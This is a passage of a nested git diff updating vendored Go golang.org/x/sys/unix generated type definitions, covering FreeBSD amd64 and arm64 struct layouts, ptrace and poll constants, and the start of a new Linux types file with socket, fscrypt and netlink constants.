-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -376,30 +507,30 @@ type IfData struct {
- Iqdrops uint32
- Noproto uint32
- Hwassist uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Epoch int64
- Lastchange Timeval
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfAnnounceMsghdr struct {
-@@ -412,19 +543,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -481,18 +612,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -519,6 +650,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm64.go
-similarity index 54%
-copy from vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/ztypes_freebsd_arm64.go
-index c65d89e4..c6fe1d09 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm64.go
-@@ -1,16 +1,16 @@
--// cgo -godefs types_freebsd.go | go run mkpost.go
-+// cgo -godefs -- -fsigned-char types_freebsd.go | go run mkpost.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,freebsd
-+// +build arm64,freebsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,40 +57,50 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
- }
-
- type Statfs_t struct {
-@@ -113,22 +123,58 @@ type Statfs_t struct {
- Owner uint32
- Fsid Fsid
- Charspare [80]int8
-- Fstypename [16]int8
-- Mntfromname [88]int8
-- Mntonname [88]int8
-+ Fstypename [16]byte
-+ Mntfromname [1024]byte
-+ Mntonname [1024]byte
-+}
-+
-+type statfs_freebsd11_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]byte
-+ Mntfromname [88]byte
-+ Mntonname [88]byte
- }
-
- type Flock_t struct {
-- Start int64
-- Len int64
-- Pid int32
-- Type int16
-- Whence int16
-- Sysid int32
-- Pad_cgo_0 [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ Type int16
-+ Whence int16
-+ Sysid int32
-+ _ [4]byte
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -140,6 +186,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -225,10 +275,8 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -272,11 +320,93 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
-+)
-+
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
- )
-
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [8]byte
-+ _ [40]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ X [30]uint64
-+ Lr uint64
-+ Sp uint64
-+ Elr uint64
-+ Spsr uint32
-+ _ [4]byte
-+}
-+
-+type FpReg struct {
-+ Q [32][16]uint8
-+ Sr uint32
-+ Cr uint32
-+ _ [8]byte
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint64
-+}
-+
- type Kevent_t struct {
- Ident uint64
- Filter int16
-@@ -287,7 +417,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [16]uint64
-+ Bits [16]uint64
- }
-
- const (
-@@ -303,53 +433,52 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -381,24 +510,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
- }
-
- type IfAnnounceMsghdr struct {
-@@ -411,19 +540,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint64
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ uint16
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint64
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -468,9 +597,8 @@ type BpfZbuf struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -481,18 +609,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -519,6 +647,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go
-new file mode 100644
-index 00000000..af5ab455
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go
-@@ -0,0 +1,2340 @@
-+// Code generated by mkmerge.go; DO NOT EDIT.
-+
-+// +build linux
-+
-+package unix
-+
-+const (
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLongLong = 0x8
-+ PathMax = 0x1000
-+)
-+
-+type (
-+ _C_short int16
-+ _C_int int32
-+
-+ _C_long_long int64
-+)
-+
-+const (
-+ TIME_OK = 0x0
-+ TIME_INS = 0x1
-+ TIME_DEL = 0x2
-+ TIME_OOP = 0x3
-+ TIME_WAIT = 0x4
-+ TIME_ERROR = 0x5
-+ TIME_BAD = 0x5
-+)
-+
-+type Rlimit struct {
-+ Cur uint64
-+ Max uint64
-+}
-+
-+type _Gid_t uint32
-+
-+type StatxTimestamp struct {
-+ Sec int64
-+ Nsec uint32
-+ _ int32
-+}
-+
-+type Statx_t struct {
-+ Mask uint32
-+ Blksize uint32
-+ Attributes uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Mode uint16
-+ _ [1]uint16
-+ Ino uint64
-+ Size uint64
-+ Blocks uint64
-+ Attributes_mask uint64
-+ Atime StatxTimestamp
-+ Btime StatxTimestamp
-+ Ctime StatxTimestamp
-+ Mtime StatxTimestamp
-+ Rdev_major uint32
-+ Rdev_minor uint32
-+ Dev_major uint32
-+ Dev_minor uint32
-+ _ [14]uint64
-+}
-+
-+type Fsid struct {
-+ Val [2]int32
-+}
-+
-+type FscryptPolicy struct {
-+ Version uint8
-+ Contents_encryption_mode uint8
-+ Filenames_encryption_mode uint8
-+ Flags uint8
-+ Master_key_descriptor [8]uint8
-+}
-+
-+type FscryptKey struct {
-+ Mode uint32
-+ Raw [64]uint8
-+ Size uint32
-+}
-+
-+type FscryptPolicyV1 struct {
-+ Version uint8
-+ Contents_encryption_mode uint8
-+ Filenames_encryption_mode uint8
-+ Flags uint8
-+ Master_key_descriptor [8]uint8
-+}
-+
-+type FscryptPolicyV2 struct {
-+ Version uint8
-+ Contents_encryption_mode uint8
-+ Filenames_encryption_mode uint8
-+ Flags uint8
-+ _ [4]uint8
-+ Master_key_identifier [16]uint8
-+}
-+
-+type FscryptGetPolicyExArg struct {
-+ Size uint64
-+ Policy [24]byte
-+}
-+
-+type FscryptKeySpecifier struct {
-+ Type uint32
-+ _ uint32
-+ U [32]byte
-+}
-+
-+type FscryptAddKeyArg struct {
-+ Key_spec FscryptKeySpecifier
-+ Raw_size uint32
-+ Key_id uint32
-+ _ [8]uint32
-+}
-+
-+type FscryptRemoveKeyArg struct {
-+ Key_spec FscryptKeySpecifier
-+ Removal_status_flags uint32
-+ _ [5]uint32
-+}
-+
-+type FscryptGetKeyStatusArg struct {
-+ Key_spec FscryptKeySpecifier
-+ _ [6]uint32
-+ Status uint32
-+ Status_flags uint32
-+ User_count uint32
-+ _ [13]uint32
-+}
-+
-+type KeyctlDHParams struct {
-+ Private int32
-+ Prime int32
-+ Base int32
-+}
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+)
-+
-+type RawSockaddrInet4 struct {
-+ Family uint16
-+ Port uint16
-+ Addr [4]byte /* in_addr */
-+ Zero [8]uint8
-+}
-+
-+type RawSockaddrInet6 struct {
-+ Family uint16
-+ Port uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+}
-+
-+type RawSockaddrUnix struct {
-+ Family uint16
-+ Path [108]int8
-+}
-+
-+type RawSockaddrLinklayer struct {
-+ Family uint16
-+ Protocol uint16
-+ Ifindex int32
-+ Hatype uint16
-+ Pkttype uint8
-+ Halen uint8
-+ Addr [8]uint8
-+}
-+
-+type RawSockaddrNetlink struct {
-+ Family uint16
-+ Pad uint16
-+ Pid uint32
-+ Groups uint32
-+}
-+
-+type RawSockaddrHCI struct {
-+ Family uint16
-+ Dev uint16
-+ Channel uint16
-+}
-+
-+type RawSockaddrL2 struct {
-+ Family uint16
-+ Psm uint16
-+ Bdaddr [6]uint8
-+ Cid uint16
-+ Bdaddr_type uint8
-+ _ [1]byte
-+}
-+
-+type RawSockaddrRFCOMM struct {
-+ Family uint16
-+ Bdaddr [6]uint8
-+ Channel uint8
-+ _ [1]byte
-+}
-+
-+type RawSockaddrCAN struct {
-+ Family uint16
-+ Ifindex int32
-+ Addr [16]byte
-+}
-+
-+type RawSockaddrALG struct {
-+ Family uint16
-+ Type [14]uint8
-+ Feat uint32
-+ Mask uint32
-+ Name [64]uint8
-+}
-+
-+type RawSockaddrVM struct {
-+ Family uint16
-+ Reserved1 uint16
-+ Port uint32
-+ Cid uint32
-+ Zero [4]uint8
-+}
-+
-+type RawSockaddrXDP struct {
-+ Family uint16
-+ Flags uint16
-+ Ifindex uint32
-+ Queue_id uint32
-+ Shared_umem_fd uint32
-+}
-+
-+type RawSockaddrPPPoX [0x1e]byte
-+
-+type RawSockaddrTIPC struct {
-+ Family uint16
-+ Addrtype uint8
-+ Scope int8
-+ Addr [12]byte
-+}
-+
-+type RawSockaddrL2TPIP struct {
-+ Family uint16
-+ Unused uint16
-+ Addr [4]byte /* in_addr */
-+ Conn_id uint32
-+ _ [4]uint8
-+}
-+
-+type RawSockaddrL2TPIP6 struct {
-+ Family uint16
-+ Unused uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+ Conn_id uint32
-+}
-+
-+type _Socklen uint32
-+
-+type Linger struct {
-+ Onoff int32
-+ Linger int32
-+}
-+
-+type IPMreq struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Interface [4]byte /* in_addr */
-+}
-+
-+type IPMreqn struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Address [4]byte /* in_addr */
-+ Ifindex int32
-+}
-+
-+type IPv6Mreq struct {
-+ Multiaddr [16]byte /* in6_addr */
-+ Interface uint32
-+}
-+
-+type PacketMreq struct {
-+ Ifindex int32
-+ Type uint16
-+ Alen uint16
-+ Address [8]uint8
-+}
-+
-+type Inet4Pktinfo struct {
-+ Ifindex int32
-+ Spec_dst [4]byte /* in_addr */
-+ Addr [4]byte /* in_addr */
-+}
-+
-+type Inet6Pktinfo struct {
-+ Addr [16]byte /* in6_addr */
-+ Ifindex uint32
-+}
-+
-+type IPv6MTUInfo struct {
-+ Addr RawSockaddrInet6
-+ Mtu uint32
-+}
-+
-+type ICMPv6Filter struct {
-+ Data [8]uint32
-+}
-+
-+type Ucred struct {
-+ Pid int32
-+ Uid uint32
-+ Gid uint32
-+}
-+
-+type TCPInfo struct {
-+ State uint8
-+ Ca_state uint8
-+ Retransmits uint8
-+ Probes uint8
-+ Backoff uint8
-+ Options uint8
-+ Rto uint32
-+ Ato uint32
-+ Snd_mss uint32
-+ Rcv_mss uint32
-+ Unacked uint32
-+ Sacked uint32
-+ Lost uint32
-+ Retrans uint32
-+ Fackets uint32
-+ Last_data_sent uint32
-+ Last_ack_sent uint32
-+ Last_data_recv uint32
-+ Last_ack_recv uint32
-+ Pmtu uint32
-+ Rcv_ssthresh uint32
-+ Rtt uint32
-+ Rttvar uint32
-+ Snd_ssthresh uint32
-+ Snd_cwnd uint32
-+ Advmss uint32
-+ Reordering uint32
-+ Rcv_rtt uint32
-+ Rcv_space uint32
-+ Total_retrans uint32
-+}
-+
-+type CanFilter struct {
-+ Id uint32
-+ Mask uint32
-+}
-+
-+const (
-+ SizeofSockaddrInet4 = 0x10
-+ SizeofSockaddrInet6 = 0x1c
-+ SizeofSockaddrAny = 0x70
-+ SizeofSockaddrUnix = 0x6e
-+ SizeofSockaddrLinklayer = 0x14
-+ SizeofSockaddrNetlink = 0xc
-+ SizeofSockaddrHCI = 0x6
-+ SizeofSockaddrL2 = 0xe
-+ SizeofSockaddrRFCOMM = 0xa
-+ SizeofSockaddrCAN = 0x18
-+ SizeofSockaddrALG = 0x58
-+ SizeofSockaddrVM = 0x10
-+ SizeofSockaddrXDP = 0x10
-+ SizeofSockaddrPPPoX = 0x1e
-+ SizeofSockaddrTIPC = 0x10
-+ SizeofSockaddrL2TPIP = 0x10
-+ SizeofSockaddrL2TPIP6 = 0x20
-+ SizeofLinger = 0x8
-+ SizeofIPMreq = 0x8
-+ SizeofIPMreqn = 0xc
-+ SizeofIPv6Mreq = 0x14
-+ SizeofPacketMreq = 0x10
-+ SizeofInet4Pktinfo = 0xc
-+ SizeofInet6Pktinfo = 0x14
-+ SizeofIPv6MTUInfo = 0x20
-+ SizeofICMPv6Filter = 0x20
-+ SizeofUcred = 0xc
-+ SizeofTCPInfo = 0x68
-+ SizeofCanFilter = 0x8
-+)
-+
-+const (
-+ NDA_UNSPEC = 0x0
-+ NDA_DST = 0x1
-+ NDA_LLADDR = 0x2
-+ NDA_CACHEINFO = 0x3
-+ NDA_PROBES = 0x4
-+ NDA_VLAN = 0x5
-+ NDA_PORT = 0x6
-+ NDA_VNI = 0x7
-+ NDA_IFINDEX = 0x8
-+ NDA_MASTER = 0x9
-+ NDA_LINK_NETNSID = 0xa
-+ NDA_SRC_VNI = 0xb
-+ NTF_USE = 0x1
-+ NTF_SELF = 0x2
-+ NTF_MASTER = 0x4
-+ NTF_PROXY = 0x8
-+ NTF_EXT_LEARNED = 0x10
-+ NTF_OFFLOADED = 0x20
-+ NTF_ROUTER = 0x80
-+ NUD_INCOMPLETE = 0x1
-+ NUD_REACHABLE = 0x2
-+ NUD_STALE = 0x4
-+ NUD_DELAY = 0x8
-+ NUD_PROBE = 0x10
-+ NUD_FAILED = 0x20
-+ NUD_NOARP = 0x40
-+ NUD_PERMANENT = 0x80
-+ NUD_NONE = 0x0
-+ IFA_UNSPEC = 0x0
-+ IFA_ADDRESS = 0x1
-+ IFA_LOCAL = 0x2
-+ IFA_LABEL = 0x3
-+ IFA_BROADCAST = 0x4
-+ IFA_ANYCAST = 0x5
-+ IFA_CACHEINFO = 0x6
-+ IFA_MULTICAST = 0x7
-+ IFA_FLAGS = 0x8
-+ IFA_RT_PRIORITY = 0x9
-+ IFA_TARGET_NETNSID = 0xa
-+ IFLA_UNSPEC = 0x0
-+ IFLA_ADDRESS = 0x1
-+ IFLA_BROADCAST = 0x2
-+ IFLA_IFNAME = 0x3
-+ IFLA_MTU = 0x4
-+ IFLA_LINK = 0x5
-+ IFLA_QDISC = 0x6
-+ IFLA_STATS = 0x7
-+ IFLA_COST = 0x8
-+ IFLA_PRIORITY = 0x9
-+ IFLA_MASTER = 0xa
-+ IFLA_WIRELESS = 0xb
-+ IFLA_PROTINFO = 0xc
-+ IFLA_TXQLEN = 0xd
-+ IFLA_MAP = 0xe
-+ IFLA_WEIGHT = 0xf
-+ IFLA_OPERSTATE = 0x10
-+ IFLA_LINKMODE = 0x11
-+ IFLA_LINKINFO = 0x12
-+ IFLA_NET_NS_PID = 0x13
-+ IFLA_IFALIAS = 0x14
-+ IFLA_NUM_VF = 0x15
-+ IFLA_VFINFO_LIST = 0x16
-+ IFLA_STATS64 = 0x17
-+ IFLA_VF_PORTS = 0x18
-+ IFLA_PORT_SELF = 0x19
-+ IFLA_AF_SPEC = 0x1a
-+ IFLA_GROUP = 0x1b
-+ IFLA_NET_NS_FD = 0x1c
-+ IFLA_EXT_MASK = 0x1d
-+ IFLA_PROMISCUITY = 0x1e
-+ IFLA_NUM_TX_QUEUES = 0x1f
-+ IFLA_NUM_RX_QUEUES = 0x20
-+ IFLA_CARRIER = 0x21
-+ IFLA_PHYS_PORT_ID = 0x22
-+ IFLA_CARRIER_CHANGES = 0x23
-+ IFLA_PHYS_SWITCH_ID = 0x24
-+ IFLA_LINK_NETNSID = 0x25
-+ IFLA_PHYS_PORT_NAME = 0x26
-+ IFLA_PROTO_DOWN = 0x27
-+ IFLA_GSO_MAX_SEGS = 0x28
-+ IFLA_GSO_MAX_SIZE = 0x29
-+ IFLA_PAD = 0x2a
-+ IFLA_XDP = 0x2b
-+ IFLA_EVENT = 0x2c
-+ IFLA_NEW_NETNSID = 0x2d
-+ IFLA_IF_NETNSID = 0x2e
-+ IFLA_TARGET_NETNSID = 0x2e
-+ IFLA_CARRIER_UP_COUNT = 0x2f
-+ IFLA_CARRIER_DOWN_COUNT = 0x30
-+ IFLA_NEW_IFINDEX = 0x31
-+ IFLA_MIN_MTU = 0x32
-+ IFLA_MAX_MTU = 0x33
-+ IFLA_MAX = 0x36
-+ IFLA_INFO_KIND = 0x1
-+ IFLA_INFO_DATA = 0x2
-+ IFLA_INFO_XSTATS = 0x3
-+ IFLA_INFO_SLAVE_KIND = 0x4
-+ IFLA_INFO_SLAVE_DATA = 0x5
-+ RT_SCOPE_UNIVERSE = 0x0
-+ RT_SCOPE_SITE = 0xc8
-+ RT_SCOPE_LINK = 0xfd
-+ RT_SCOPE_HOST = 0xfe
-+ RT_SCOPE_NOWHERE = 0xff
-+ RT_TABLE_UNSPEC = 0x0
-+ RT_TABLE_COMPAT = 0xfc
-+ RT_TABLE_DEFAULT = 0xfd
-+ RT_TABLE_MAIN = 0xfe
-+ RT_TABLE_LOCAL = 0xff
-+ RT_TABLE_MAX = 0xffffffff
-+ RTA_UNSPEC = 0x0
-+ RTA_DST = 0x1
-+ RTA_SRC = 0x2
-+ RTA_IIF = 0x3
-+ RTA_OIF = 0x4
-+ RTA_GATEWAY = 0x5
-+ RTA_PRIORITY = 0x6
-+ RTA_PREFSRC = 0x7
-+ RTA_METRICS = 0x8
-+ RTA_MULTIPATH = 0x9
-+ RTA_FLOW = 0xb
-+ RTA_CACHEINFO = 0xc
-+ RTA_TABLE = 0xf
-+ RTA_MARK = 0x10
-+ RTA_MFC_STATS = 0x11
-+ RTA_VIA = 0x12
-+ RTA_NEWDST = 0x13
-+ RTA_PREF = 0x14
-+ RTA_ENCAP_TYPE = 0x15
-+ RTA_ENCAP = 0x16
-+ RTA_EXPIRES = 0x17
-+ RTA_PAD = 0x18
-+ RTA_UID = 0x19
-+ RTA_TTL_PROPAGATE = 0x1a
-+ RTA_IP_PROTO = 0x1b
-+ RTA_SPORT = 0x1c
